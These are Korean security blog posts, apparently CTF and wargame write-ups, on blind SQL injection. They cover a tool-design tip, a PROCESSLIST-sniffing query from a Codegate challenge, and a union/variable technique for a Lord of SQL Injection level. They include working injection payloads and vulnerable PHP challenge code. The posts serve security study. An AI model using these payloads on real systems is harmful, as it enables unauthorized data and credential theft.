주제 : SQL injection을 위한 깔끔한 코드 작성법

날짜 : 2018.08.21

작성자: Sakuya Izayoi



1. 개요 및 목적

'글쓴이 경험상' 대회때마다 SQL 문제가 나오면 그 문제에 맞게 툴을 새로 짜고, 펜테스트를 할때에도 툴을 새로 짜고.. 날이면 날마다 늘어가는 ???.py 들을 보고 있자니 파일관리를 못하는건지, 내가 범용성이 없게 짜는건지 도저히 모르게 되어버려서 쿼리의 형태를 작성하면 injection을 해주는 범용적인 툴을 제작하는것을 그 목적으로 한다.


2. 내용

이번은 기술문서가 아니라서 실망할 분들도 꽤 있을것 같다. 기술문서도 좋지만 쓸데없이 늘어가는 ???.py 들을 한번에 정리하고 깔끔한 Desktop 폴더를 만들기 위해서 본 글을 작성하기로 했다. 이번 포스팅의 정확한 목표는 '이 글을 참고하여 나만의 sql 자동화 툴을 만들자!' 가 되겠다.

이 글을 읽고싶어 하는 분들은 대부분의 세팅을 끝마친 상황일것이다. (Python, pip, APM 등등.)
하지만 그렇지 않은 분들을 위해 조금의 기초세팅을 소개하고 난 후, 본격적인 코드작성에 돌입하도록 하자.


2-1. Python - Requests 모듈

Python은 Ubuntu를 사용한다면 기본적으로 깔려있다. Requests 모듈은 웹에 서비스를 요청하는데 사용되는 대중적인 모듈중 하나이다. urllib 나 httplib를 쓰는분도 있긴하지만, 여기선 Requests를 쓰기로 하자. 이를 사용하기 위해선 pip install requests라고 입력후 엔터를 치면 된다.

이미 설치되어 있다면 위와 비슷한 화면이 뜨게 된다. 제대로 설치 되었는지 알고 싶다면 python을 실행후 import requests 를 입력후 엔터를 쳤을때, 아무런 에러가 나지 않으면 성공적으로 설치 된 것이다.

자신이 테스트할 웹 페이지가 있는것이 좋지만, 여기선 웹 해커의 자습서인 LOS를 예제로 조금 진행해 보도록 하겠다.  SQL injection에 대한 기초지식이 없다면 기초문서를, 조금의 지식이 있다면 심화문서를 읽도록 하자. 굳이 다 알고 있지 않아도 개략적인것을 기억한다면, 문서를 참고하면 언제든지 코드작성이 가능하므로 반드시 암기해야해! 같은 생각은 조금 접어두는것이 좋다.


3. 코드 작성

코드를 작성하기전에, 어떤것들을 코드로 작성하는게 좋을지 조금 생각해보자. 간단한 인증우회와 같은 것들은 툴로 작성할 필요가 없다. POC를 위해서라면 간단하게 작성할수 있지만, 이것을 자동화 라고 부르기엔 너무 간단하게 끝나지 않을까?
그렇다면 자연스레 목표는 정보유출에 관점을 맞추게 된다. union이 사용한 것들은 일반적으로 한문장의 쿼리로 유출이 가능하니 이것들도 제외하자.
남는것은 Blind 계열, Time based 계열의 injection들이 남게 된다. 이러한 것들은 대체적으로 특징적인 형태를 띄고 있는 경우가 많다.

해당 문제에서 SQL injection 구문을 짜게 되면,

pw=' || id='admin' && if(ascii(substring(pw,?,1))>0,1,0)#

정도 될것 같다. 변하는 값은 ?에 있는값으로 1,2,3,4,.. 증가하게 될것이다. 그럼 여기서 숫자는 언제까지 증가해야할까?ㅋ
이는 length를 통해 값을 가져올수 있다. 그럼 이 length는 어디까지 검증해야 할까?

조금 머리를 굴릴수 있다면 length에 대해서 binary search 를 적용해 볼수 있을것이다. 하지만 내가정한 상한값이 과연 원하는 정보의 길이를 포함하는 충분히 큰 값인가? 에 대한 질문은 확실히 답변하기 애매할수 있다. 무엇보다, '깔끔한' 코드 작성과는 거리가 멀다. 코드내에 for i in range(1,10000)이라고 적혀있을 내 코드를 보자. 작성하면서도 찜찜하지 않을까?

여기서 제안하는 방법은 length(length()) 쿼리이다. 이것으로 값을 한번 추출하면, 해당 값의 최대크기와 최소 크기를 지정할 수 있다. 무슨 뜻인가 하면,

length의 반환값을 하나의 string으로 보고 다시 length를 걸어서 이 글자의 최대길이를 잰다. 10의 n승 형태로 나타낼수 있게 값을 리턴해 주므로, 최대와 최소 길이를 정할수 있고, 이를 통해 binary search를 깔끔하게 작성할 수 있다. 여기서는 2를 리턴해줬으므로, 최소값은 10, 최대값은 100 이다. 그리고 이 사이에 16이라는 값은 반드시 들어있게 된다.
length(length())의 리턴값을 powret이라고 두면, 개략적으로 아래와 같은 코드를 작성 할 수 있다.

print에 들어있는 \033은 커서를 좌측 상단으로 떙기는 출력으로, console progressbar를 구현할때 글쓴이가 종종쓰는 방법이다. 코드를 실행시키면 실시간으로 LENGTH가 변하는것처럼 보이게 된다.

이렇게 length에 대한 값을 얻었으면,  sql 구문을 작동시키는 코드를 작성해 보도록 하자.

BLIND SQL injection 을 하면서 달라지는 값들에 대해서 한번 다시 생각해보도록 하자
pw=' || id='admin' && if(ascii(substring(pw,?,1))>0,1,0)#
여기서 중요한것은 처음의 pw와 substring내의 pw가 다를수 있다는것이다.


이 문제처럼, no값에 injection을 하고 가져와야하는 값이 pw일수도 있는것이다. 이렇게 되면

no=' ||id='admin' && if(ascii(substring(pw,?,1))>0,1,0)# 과 같이 두개의 값이 다를수 있다는 점이 중요하다.

이렇게 가변적인 값이 총 4개로 지정되었다. 이를 Blind SQL을 하기위해 4개의 인자를 가진 함수(메소드)를 제작하고 binary search를 행하는 구문을 개략적으로 작성해 넣는다면, 성공적으로 돌아가지 않을까?
코드를 작성함에 있어 필요한 것들을 정리해보면,
- Query의 뼈대
- Target이 될 Parameter
- True/False 를 판단할수 있는 판단조건
- 가져와야할 Column 이름
- 가져올 값의 길이 (length)

가 될 것이다. 간단한 예시로 Length를 구하는 Query를 살펴보도록 하자.

우리가 넣을 쿼리에 length({}) 부분을 length(length({})) 로 바꿔줌으로써 사용에 불편함이 없도록 한다.

그의 리턴값을 받아서 Bianry Search를 돌리게 되면 간단하게 값이 나오게 된다.

if column is None 부분에 대해서 조금 의문이 들수 있는데, 이 부분은 위에 예시를 들었던 no,pw 처럼 injection하는 파라미터와 가져와야할 column이 다를경우 설정해 주는 값으로, 설정해주지 않으면 동일한 것으로 판단하고 인젝션하는 코드가 되겠다.

위와 같이 코드를 작성하게 된다면 Length를 가져오는 쿼리의 예시는

LengthQuery = "1' || id = 0x61646d696e && if(length({})>{},1,0)#

이는 getLength(LengthQuery,"pw",TrueCondition,column='pw') 처럼 호출되거나

getLength(LengthQuery,"no",TrueCondition,column='pw') 처럼 호출 될 것이다.

본편에서는 Length Query만을 예제로 들었지만, 다른 blind sql 구문또한 이와같이 작성해주면 간단히 해결 할 수 있다.


4. 보너스

이렇게 열심히 코드를 작성해놓고 밋밋하게 출력된다면 또한 재미가 없다. 한글자씩 나오더라도 영화처럼 나오면 보는 사람또한 즐겁기 마련이다.


여기서 key는 전역변수로, blind sql을 통해 한글자를 얻을때 마다 갱신된다. threading을 사용하여 돌려보면 마치 무작위대입을 하다가 한글자씩 맞추는것 같은, 영화와 같은 출력을 볼 수 있다.


'Web' 카테고리의 다른 글

[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
Posted by Maid:: IzayoiSakuya


주제 : Webhacking Study - Query sniff
날짜 : 2018. 04. 06
작성자 Sakuya Izayoi


1. 개요 및 목적

Secuinside 2017에서 발표된 SQL - MITM Attack(Query sniff)에 대해 알아보고 그 쿼리에 대해 연구한 내용을 정리한다. 


2. 내용 

이번 문서도 하나의 발 에서 시작된다. 발표의 첫 시작은 간단한 SQL injection을 먼저 소개하고, Query sniff에 대해 소개하는 내용이었다.
발표를 들을 당시에는 "음.음. 그렇군" 하고 넘어갔던 부분이 막상 기억이 제대로 나지 않아서 다시한번 확실히 잡고 가기로 하는 취지에서 정리하게 되었다.

발표 첫 페이지부터 웹 분야를 연구하는 사람들의 기를 살려주는 강렬한 문구를 접할 수 있다.
간단한 SQL injection의 설명은 검색하면 쉽게 구할수 있는데다, 본 발표에서도 간략하게 설명하고 있으니 여기서는 생략하도록 한다.

아래는 본 연구에 사용한 작업환경이다.

MYSQL : 5.7.21-0ubuntu0.16.04.1
OS : Ubuntu 16.04 

우선 문서에 적힌 복잡한 쿼리를 이해하기 전에 필요한 사전 지식에 대해서 확실히 짚고 넘어가도록 하자.

3.Base Knowledge

웹 분야의 공격 기술에 대해 조금이라도 학습을 해 본 사람이라면 SQL injection이 상당히 친근할 것이고, 특히나 각종 해킹방어대회 등에 출전하는, 혹은 워게임 사이트 등을 취미로 하는 사람들이라면 Mysql이 상당히 친숙할 것이다. 이 Mysql에서는 5.0 이상 버전부터 Information_schema라고 하는 특수한 DB를 제공한다.

이 DB에는 여러가지 유용한 테이블들이 있는데, 공격자의 관점에서 바라볼 때 자주 언급되는 테이블은 TABLES, COLUMNS, SCHEMA, PROCESSLIST 정도가 아닐까 싶다.
TABLES 테이블은 임시테이블을 제외한 모든 테이블의 정보가, COLUMNS는 모든 컬럼에 대한 정보, SCHEMA는 DB에 대한 정보가 들어있으며 PROCESSLIST는 현재 실행중인 쿼리에 대한 정보가 들어있다. 이번시간에 중점을 두는것은 PROCESSLIST 테이블이다.


3.1 PROCESSLIST

조금만 화제를 돌려서 펜테스트(모의해킹)를 진행하는 사람이 되었다고 생각해보자. 단지 OWASP TOP 10이나, 국내 기업의 사이트를 대상으로 한다면 국정원 8대취약점 등을 리스트로 만들어서 체크하는 그런 기계적인 모의해킹이 아닌, 실제 공격자의 입장이 되어서 진행한다고 생각해보자.
가장 짜릿한 순간은 웹쉘을 올리는데 성공하였거나, DB내의 정보를 획득하는데 성공하여 '공격에 성공했다' 라고 담당자에게 말하고 패치를 하도록 도와주는 부분이 아닐까?

문서의 성격에 맞게 DB내의 정보를 획득하는데 성공했다고 가정하자. 하지만 그 값이 해쉬, 혹은 암호화가 되어서 저장되어 있다면 과연 담당자에게 '공격에 성공하여 데이터를 획득하는데 성공했습니다' 라고 말한다면 돌아오는 담당자의 답변은 무엇일까?
'아, 그럼 당장 패치를 해야겠군요. 방안을 알려주시면 저희가 처리하겠습니다' 와 같은 이상적인 답변은 거의 돌아오지 않는다. 대부분 돌아오는 답변은 '단방향 암호화 되어서 저장하는데, 평문을 획득하신데 성공하신건가요?' 라고 되물을 확률이 상당히 높다. 경험상 평문으로 저장하는곳은 거의 없었으며, 대부분 간단하게라도 해쉬를 채택하고 있었다. 그럼 우리가 되돌려줄 답변은 '아뇨, 하지만 언제든지 취약점을 통해 공격 받을 가능성이 있습니다' 라고 답변하면 패치를 해줄 확률은 반반이다. 사실 이러한 보안적인 업무 말고도 하는 일이 많으니 '취약점이 발견되었으니 얼른 고치세요!' 하고 볶아 챌 수도 없는 노릇이고, 이런 선의에서 비롯된 모의해킹에서 점점 실망하게 되는 이유중 하나가 아닐까 싶다.

이러한 문제를 해결하기 위해 가장 간단한 방법은 평문을 획득하는것이다. 하지만 말처럼 쉽게 해결되는 부분이 아닌것이지만, PROCESSLIST를 통한다면 가능하다.

PROCESSLIST의 테이블 구조를 보면, 어떤 쿼리를 실행중(info)인지, 어떤 유저(user)가 실행했는지, HOST는 어디인지(host) 등등 자세한 정보가 나온다. 여기까지 읽으면 위에 적은 평문을 획득한다는 내용과 바로 연결지어 생각하기 어렵다. 하지만 다음의 PHP코드를 보도록 하자.

모든 자세한 정보가 주어지지 않는 블랙박스 테스트 환경에서는 가정(Guessing)에서 부터 출발한다. 하지만 이번엔 코드를 알고있거나 혹은 필요한 코드만 받아서 진행하는 화이트박스/그레이박스 환경이라고 생각하자.

이 소스코드를 보고 2가지를 알 수 있다.
첫번째는, 해당페이지에서 SQL injection을 막기 위해서 Prestatement를 사용하여 작성했다는것
두번째는, 특별한 암호화를 PHP내에서 거치지 않고 mysql측에 맡기고 있다는것이다.

이러한 사실을 토대로 내릴수 있는 결론은 여러가지 있겠지만, 필자가 내린 결론은 아래와 같다.
1. 해당 페이지에서의 일반적인 SQL injection공격은 막혀있다. 
2. 해당 페이지에서 암호화를 거치지 않는것은 global.php에서 특별한 처리를 해주고 있는것은 아닐까?
3. 우선 해당 페이지는 다른 곳에서 취약점이 있을때 추가적으로 확인해 볼 가치가 있겠다.

사실 이러한것들 말고도 여러가지 떠올릴수 있다. 주어진 것은 소스코드의 단편뿐이고 사람의 생각(망상)은 무한하게 펼쳐질 수 있다. 우선은 global.php에서 암호화를 하지 않고 평범하게 평문을 받아서 mysql Query를 통해 md5 해쉬를 거친 후 DB에 저장, 요청한다고 가정하자.

그렇다면 지금이 바로 PROCESSLIST가 나설때다. 소설과 같은 아래 타임라인을 보도록 하자.

유저가 로그인을 시도하고 해당 쿼리가 끝나기전 공격자가 processlist에 접근하고 그 결과값을 받는다면, 유저의 로그인 쿼리는 끝나지 않았으므로 PROCESSLIST에 남아 있을것이고, 여기에 적힌 md5(평문) 값을 볼 수 있을것이다. 유저와 공격자 간의 PROCESSLIST를 두고 벌이는 경쟁에서 이긴다면, 관리자에게 '평문을 획득했으니 얼른 패치를 하시는게 좋지 않겠습니까?' 라고 당당히 말할 수 있다. 하지만 이런 타임라인을 들이대면서 '이론상 된다구요!' 라고 말해봐야 별 설득력 없이 끝나니, 필요성을 느꼈다면 실제로 어떻게 해야할지 천천히 알아보자.

3.2 benchmark

뜬금없이 benchmark 이야기를 꺼내는것은 성능을 테스트하기 위한것이 아니라, Time-based SQL injection 공격에 사용하는 sleep의 대체용인 그 benchmark이다.
해당 함수는 같은 동작을 여러번 반복하는것으로 그 성능을 체크하기 위해 만들어진 함수인데, 같은 행동을 여러번 한다는 그 특징때문에 복잡한 연산을 시킬경우 시간지연이 발생하며 이를 sleep의 우회방안으로 사용하고 있는것이 공격자의 현 실정이다.

위에서 언급했지만, 같은 동작을 여러번 반복하는 함수이다. 이를 확인하기 위해서는 복잡한 연산을 시켜서 얼마나 긴 시간이 걸렸는지 체크하는 것이 맞으나, 그건 여러분들이 SQL injection에서 많이 해 봤으리라 생각한다. 그럼 이 반복을 확인하기 위해서 다음으로 적합한 것은 변수를 사용하는 것이다.
변수를 사용할 때 하나 재미있는 점은 하나의 Query로 변수의 변경사항을 바로바로 체크할수 있다는것이다.

해당 쿼리를 보면 before 에서는 @a변수를 1로 초기화 하였고, calc에서는 @a값에 +1 을 한것을, result에서는 그 결과를 출력하게 했다.
결과값을 보면 알겠지만, @a가 각각 1,2,2 로 되어 있는것을 볼 수 있다. 계산이 된 결과값을 출력하며, 그 이후로는 그 결과를 계속 가지고 있게된다. 이후 같은 세션이라면 해당 변수의 값은 유지된다. 

그럼 여기서 benchmark를 엮어서 한번 보도록 하자.

@a:=@a+1을 9번 적지 않아도 benchmark 하나로 1을 9번 더해서 10이 된 것을 볼 수 있다. 물론, benchmark는 벤치마킹을 위해 제작된 함수인 만큼 쿼리문을 실행 할 수도 있다.

쿼리가 좀 복잡해졌지만, 잘 보면 @a+1 대신에 concat을 통해 @a에 rand()*10의 값을 이어 붙여준 값을 대입하도록 해놓았다. rand함수는 0~1 사이의 랜덤한 float값을 내놓는데, 이 값에 *10을 한 후 floor를 통해 한자리 정수를 얻을수 있게 제작한 것이다.

결과적으로, 9자리의 숫자가 결과값으로 돌아왔다. 물론 rand함수의 특성상 실행할때마다 결과는 달라진다.
자, 기초적인 내용은 끝이 났다. 여기까지 읽었다면 이를 PROCESSLIST와 이미 엮어본 사람도 이미 있을것이다.

점점 복잡해지는것이 느껴진다. benchmark의 횟수를 2회로 줄이고 확인하면 result에 processlist의 컬럼 중, info의 값을 계속 이어붙이도록 했다. 보기 편하도록 개행과 탭을 넣었지만, 실제 환경에서는 공격자가 알아볼 수만 있으면 되므로 크게 문제 없는 부분이다. 중요한것은, 내가 이 쿼리를 실행중일때는 다른 쿼리문들도 이 변수에 값이 저장되어 확인 할 수 있다는 점에 있다.

사용자가 많고 동시다발적으로 처리되는 대형 포털사이트 같은 경우엔 딱히 지연을 주지 않아도 몇몇개는 운좋게 묻어 나올것이다. 하지만 일반 기업과 같은 곳은 그렇지 못할 확률이 상당히 크다. 그렇다면 의도적으로 지연시킬 수 밖에 없는데, 이때 어떻게 해야 할 것인가에 대해 몇가지 꼼수가 떠오르는 사람이 있을것이다.

1. 일단 benchmark의 횟수를 늘린다. 결과값이 수천만개가 엮여 나오더라도 내가 원하는 정보만 있으면 된다.
2. benchmark의 횟수를 크게 늘리지 않고 sleep(1)을 통해 해결한다.

각각의 장단점이 있다.
1. benchmark횟수를 늘린다면 좋은 시간지연이 되겠지만, 나오는 결과값을 감당할수 없을만큼 값이 거대해진다. 물론 이 경우 where 조건절을 조금만 활용하는 것으로 해결 할 수 있다.

내가 임의의 변수에 나만의 고유문자열(여기서는 Sakuya)를 넣고 info에 고유문자열이 들어가는 쿼리는 제외해 버리면된다.

2. sleep(1)을 줄 경우 경쟁관계에서 불리해 지기만 하니 별로 필요가 없다 -(From rubiya)

3.3 Sniffing

취약한 게시판 소스를 하나 뚝딱뚝딱 하도록 하자.

그리고 이 게시판 소스를 활용해서


uniqid+mt_rand가 포함된 임시테이블의 이름, 컬럼명, 값을 알아 낼수 있는지에 대한 테스트를 진행하자.


위에서 설명한 것을 토대로 Injection Query를 작성하도록 하자.

'),('answer','sakuya',(SELECT a.b FROM (SELECT @dummy, @query:='',@tmp:=0x20, benchmark(500000,(@tmp:= (SELECT Group_concat(info) FROM information_schema.processlist WHERE info not like '%dummy%' or sleep(0)))or(IF((@query not like concat('%',@tmp,'%')),@query:=concat(@query,@tmp,0x0a),0))), @query`b`)`a`))#

IF 이하 구문은 @tmp에 저장된 processlist의 결과를 어떻게 붙여 나갈것인가에 대한 쿼리문으로 이해하면 좋다. 

해당 쿼리문의 결과로 성공적으로 값을 얻어온 것을 볼 수 있다. 이를 입력해주면 문제는 clear 하게 되는것은 덤.


4. 결론 및 팁

이 방법은 prestatement 를 사용하는 SQL의 경우 먹히지 않는다는것을 확인했다. 이러한 경우에 다른 방법이 필요할 것으로 보이며, 해당 Query또한 막상 보면 너무 복잡하고 쓸모없어 보이지만, 모든 지식이 그러하듯 원리를 알면 어디든 응용할수 있지 않을까?



PS. 이건 codegate2018 본선에 사용된 문제의 POC/Writeup 임미다. 참고하실분이 있으련지는 모르겠지만.. 요기있어요

exploit.py

Praise the blanket Writeup.docx


'Web' 카테고리의 다른 글

[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
Posted by Maid:: IzayoiSakuya


주제 : Webhacking Study - no more BLIND
날짜 : 2017.04.18
작성자 :Sakuya Izayoi


1. 개요 및 목적
Lord Of SQL injection(이하 LOS) 의 문제를 통해 blind SQL injeciton을 알고, 이외의 방법으로 풀수 있는 방안에 대해 연구한다. blind 기법으로 풀어야 할 문제들을 다른 방법으로 접근하는 것으로, CTF 및 모의해킹의 수행시간을 단축함을 그 목적으로 한다.

2. 내용
이번 문서의 시작은 정도원(rubiya)의 페이스북 포스팅에서 시작한다. 포스팅의 내용은, 'LOS의 문제중 간단한 Blind SQL injection 기법을 사용하는 문제가 있었는데, 이 문제를 Blind 기법을 사용하지 않고 풀 수 있다' 라는 내용이다. 






이에 순수한 학문적 호기심이 생겼고, 이 방법을 찾아 mysql의 삽질을 시작하기로 했다.
아래는 이 연구에 사용한 작업환경이다

Mysql : 5.6.30-0ubuntu0.15.10.1
OS      :  Ubuntu 16.04



우선 테스트용 db와 table을 만들어 보자.
해당 테스트에서 사용하는 DB와 구조는 아래와 같다

create database Test_DB;
use Test_DB;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
insert into users values(1, 'GUEST', 'GUEST');
insert into users values(2, 'Sakuya', 'admin_Paddword');
insert into users values(3, 'Izayoi', 'noadmin');


목적은 Sakuya의 Password를 가져오는것으로 하도록 하자.  문서의 취지에 맞게 Blind SQL 구문을 사용해서 가져오는 것으로만 한정 하도록 한다.
기본적인 쿼리문의 형태는 


SELECT * FROM users WHERE id='GUEST' and password='{$INPUT}'

를 사용한다.

3. Blind SQL injection
Blind SQL injection은 원하는 정보를 한번에 가져오는 SQL injection과 다르게, 원하는 정보를 1 byte 씩 들고와서 비교하는 기법이다.
1byte씩 비교하기 때문에 분기조건을 가진 구문 혹은 분기로 판단되는 근거를 잡는것이 가장 중요하다. 아래 내용에서는 그러한 분기 구문들, 분기로 판단할수 있는 근거를 체크하는 방법에 대해 설명한다. 해당 구문이 필터링에 걸릴때와 같은 특수한 경우는 제외하고 일반적인 상황에 중점을 둔다. 필터링과 같은 상황에 사용할수 있는 Cheat sheet나 전반적인 SQL injection에 대한 지식은 rubiya의 문서를 참고하면 좋다. 또한 상기의 문서들은 이 문서를 이해하는데 큰 도움을 줄 것이다.

-3.1 IF
if구문은 프로그래밍을 해본 사람이라면 누구나 알고 있을법한 단어이다. if구문의 사용법은 이하와 같다

if(Condition, TRUE, FALSE)

if 의 1번째 인자값인 Condition은 분기조건에 해당한다. 단순한 대소 비교부터 참,거짓 등등 원하는 값을 넣을수 있다.
if 의 2번째 인자값인 TRUE는 Condition의 분기조건이 TRUE(참) 일때 리턴할 값이 들어간다. 이곳엔 단순한 value 부터 Subquery의 결과물까지 여러가지 들어갈 수 있다.
if 의 3번째 인자값인 FALSE는 TRUE와 반대로 분기조건이 FALSE(거짓)일때 리턴할 값이 들어간다. 들어갈수 있는 값은 위에 서술한 TRUE에 들어갈수 있는 종류와 같다.
좀더 자세한 IF 구문의 사용법은 Mysql Reference 측을 참고하도록 하자.

해당 IF와 자주 엮이는 2개의 함수가 있는데, ascii와 substring이다.

-substring
substring 함수는 문자열을 자르는데 사용되는 함수이다. split과 달리 delim 기준이 아닌 순수한 문자열의 index 기준이다. 함수의 모형은 이하와 같다

substring(STRING, start_idx, count_idx)

STRING을 start_idx부터 count_idx만큼의 갯수를 세어 리턴한다.
아래는 substring의 예시이다



Blind SQL에서는 보통 3번째 인자값이 1로 고정 되는데, 1byte씩 비교해야 하는 Blind 기법의 특성때문이다.

-ascii
ascii 함수는 C언어의 atoi와 같다. 해당함수의 ascii값을 리턴해 준다. 이 ascii 함수를 통해 substring으로 가져온 문자열을 ascii로 변환하는 것이 일반적인 Blind sql injection의 과정이다.


이제 Condition에 들어갈만한 substring과 ascii 함수를 알아보았다.
이를 조합하여 IF구문을 완성하면 아래와 같은 형태가 될 가능성이 높다

if ( ascii(substring(password,1,1))=0,1,0 )

모의해킹 및 CTF 환경에 따라 IF 구문의 2,3번째 인자값은 바뀔수 있다.
=0 으로 비교하는 부분의 값도 효율성을 위해 Binary Search 를 적용할 수 있다.

해당 구문을 사용하여 Sakuya 계정의 패스워드를 가져와 보도록 하자.



password의 첫 글자를 가져왔을때 해당 문자의 ascii 값이 97일때는 TRUE를, 96일때는 FALSE를 돌려주었다. 이것이 실제 php application에 적용되었을때는 Login 성공/실패 혹은 검색결과 출력/미출력 등의 화면을 보여주는 형태가 될 확률이 높다. 이러한 과정은 많은 시도횟수를 요구하므로 주로 간단한 스크립트를 작성하거나 SQLmap과 같이 알려진 툴을 사용할 때가 많다.

3-2 CASE WHEN
CASE WHEN의 경우에도 if와 같은 동작을 한다.
개략적인 형태는 아래와 같다

CASE WHEN condition1 THEN true ELSE false END
THEN ~ ELSE 사이에 더 많은 THEN 구문을 넣을수 있지만, 여기선 참/거짓만 판단하도록 하나의 THEN~ ELSE만 넣었다.
이 역시 IF와 마찬가지로 condition1 이 TRUE라면 true에 적힌 값을, FALSE라면 false의 값을 리턴하도록 되어있다.
이 역시 자세한 구문은 Mysql Reference를 참고 하도록 하자.

IF와 큰 다른점이 없으므로 사용 예시만 살펴보자.




3-3 row()
row()는 함수라기보다 말 그대로 하나의 row를 표현해준다.
sql 쿼리를 요청했을때 우리에게 보여지는 row의 개념과 동일하다고 생각하면 좋다.
다소의 이해를 돕기위해 아래의 예제를 보자



select 1,2 의 결과와 row(1,2)의 결과는 같다.
하지만 row(1,1)의 결과와 select 1,2의 결과는 다르다.
이것을 통해서도 blind sql injection을 수행할 수 있다.
내가 가져올 계정의 ID가 Sakuya 인것을 알수 있고, password를 모른다고 가정했을때 공격은 아래와 같이 천천히 진행된다



like 구문을 통한 blind sql과 비슷한 양상이라고 생각하면 쉽다.
0x61????????? 값은 Sakuya 계정의 password 형식과 일치하지만
0x62???????? 값은 Sakuya 계정의 password와 일치하지 않고, 이 값은 사전적으로 admin_Paddword보다 뒤에 있으므로 True를 리턴하게 된 결과다.
해당 쿼리를 사용하며 주의할 점은 where 구문 대신 limit를 넣어야 한다는 점이다.
where구문을 통해 결과값을 돌려받기 전 컴파일 단계에서 row와 select의 결과를 미리 비교해 버려서 어떤값을 넣더라도 항상 참이 뜨는 경우를 볼 수 있다.




상기 기술한 내용 이외에도 많은 기법들이 있을수 있다. 하지만 이정도만 따라 올수 있어도 일반적인 Blind SQL injection은 잘 할수 있으리라 생각한다.

4. LOS - orge
해당 문제의 소스코드를 보도록 하자.


<?php 
  
include "./config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  
highlight_file(__FILE__); 
?>

Blind SQL을 막기 위해 열심히 필터링 한 흔적은 보이지 않는다. 단지 이 문제를 blind SQL이라고 짐작하게 하는 부분은

- 출력되는 값은 쿼리 결과에서의 ID 값 뿐인점
- pw 인자를 통해 공격하지만 최종 인증은 pw의 값을 알아야 한다는점
- 쿼리의 결과가 없으면 값이 출력되지 않는점

이 3가지를 들수 있다.

하지만 이 문제들을 blind 기법을 사용하지 않고 공격을 해 보도록 하자.
SQL injection에서 Blind 기법이 아니라면 union과 같이 임의의 출력을 보여줄수 있는 구문을 채용하거나
sleep()과 같은 side channel 을 사용하는것이 큰 부류라고 생각한다. 해당 문제에서 sleep() 을 사용하였을 경우 정확한 값을 측정하기까지 몇번의 시도가 있어야 하고 sleep()도 blind sql 의 갈래로 보는 경우가 많다.
따라서 이 문서에서는 union을 사용해서 공격하는 방법에 대해서 조금 설명하고자 한다.

mysql 또한 프로그래밍에서 말하는 변수라는 개념을 가지고 있다.
mysql에서 변수는 주로 오버헤드를 줄이기 위해서 채용하는 경우가 많다.
이 같은 내용은 기타 프로그래밍에서도 느낄수 있는 예제가 많이 있을것이다.


char* s_name = "Sakuya Izayoi";
for(int i =0; i < 0x99; i++)
  printf("NAME LENGTH : %d",strlen(s_name));

와 같은 코드가 있다면, strlen 함수를 0x99번을 부르게 될것이다. (물론, 컴파일러가 최적화 해줄것이라 생각한다.)
strlen(s_name)의 값을 변수에 넣어두고 그 값을 계속 부르면 오버헤드가 덜 할것이다.

db는 특히나 유저의 요청이 많고 많은 정보를 포함하고 있어서 이러한 최적화를 쿼리단계에서 해주는것도 상당히 중요하다.
여기서 사용하는 변수를 우리는 공격에 사용할 것이다.
우선 원하는 값을 변수에 담고, 그 값을 union을 통해 출력하도록 할 것이다.

우선 변수에 넣는 방법부터 알아보자
변수에 넣을 값을 출력해야 하므로 SELECT 구문에 대한 reference를 참고하면 좋을것 같다. SELECT ~ INTO OUTFILE(DUMPFILE) PATH 를 사용하면 파일로 출력할 수 있지만, var_name을 사용하면 해당 변수에 그 값을 담는것이 가능하다.


하지만 Reference를 보면 into 이후에 union구문을 사용할 수 없다고 되어있다.
실제로 사용하면 에러가 발생한다.

때문에 조금 다른방법으로 변수에 값을 대입하는 방법을 소개한다



해당 방법을 사용하면 변수에 값을 바로 대입하는것이 가능하다.
이를 통해 공격 쿼리문을 다시 구성해보면


공격이 성공한 것을 볼 수 있다.
이것을 응용해서 orge문제에 접근해 보도록 하자.


6c864dec 라는 값을 얻을수 있고, 이것은 admin의 password임을 확인 할 수 있다.
덧붙여서 @a:=pw 이전에 아무런 조건도 주지 않으면, 맨 마지막 row의 값을 들고와서 대입을 하게 되는데 이것은 아마 모든 row를 돌면서 값을 대입하기 때문이라 생각한다.




때문에 원하는 값을 정확히 얻고 싶다면 조건을 붙여주는것으로 쿼리문을 작성할 필요가 있다.

4. 결론
Blind SQL injeciton의 몇가지 기법과 이러한 기법을 우회하여 공격할 수 있는 방법에 대해 알아보았다. 오버헤드를 줄이기 위해서 사용해야 할 변수를 공격에도 사용할수 있음을 알고, DB와 연결되는 보안서비스에 대한 재 점검이 필요한 서버도 있지 않을까?


'Web' 카테고리의 다른 글

[TIP?] sql injection을 위한 깔끔한 코드 작성법  (2) 2018.08.21
Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
Posted by Maid:: IzayoiSakuya

SQLi.py

2016.11.02 14:02

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.


확장자'만' Whitelist로 검사하여 맞으면 통과시키는 방식..

'Web' 카테고리의 다른 글

Webhacking Study - Query sniff  (2) 2018.04.06
Webhacking Study - no more BLIND  (6) 2017.04.18
Upload 코드의 흔한 실수  (2) 2016.03.07
Custom Webshell  (0) 2016.02.12
SQL Injection Study  (3) 2015.11.13
PHP web development tips and tricks  (0) 2015.11.13
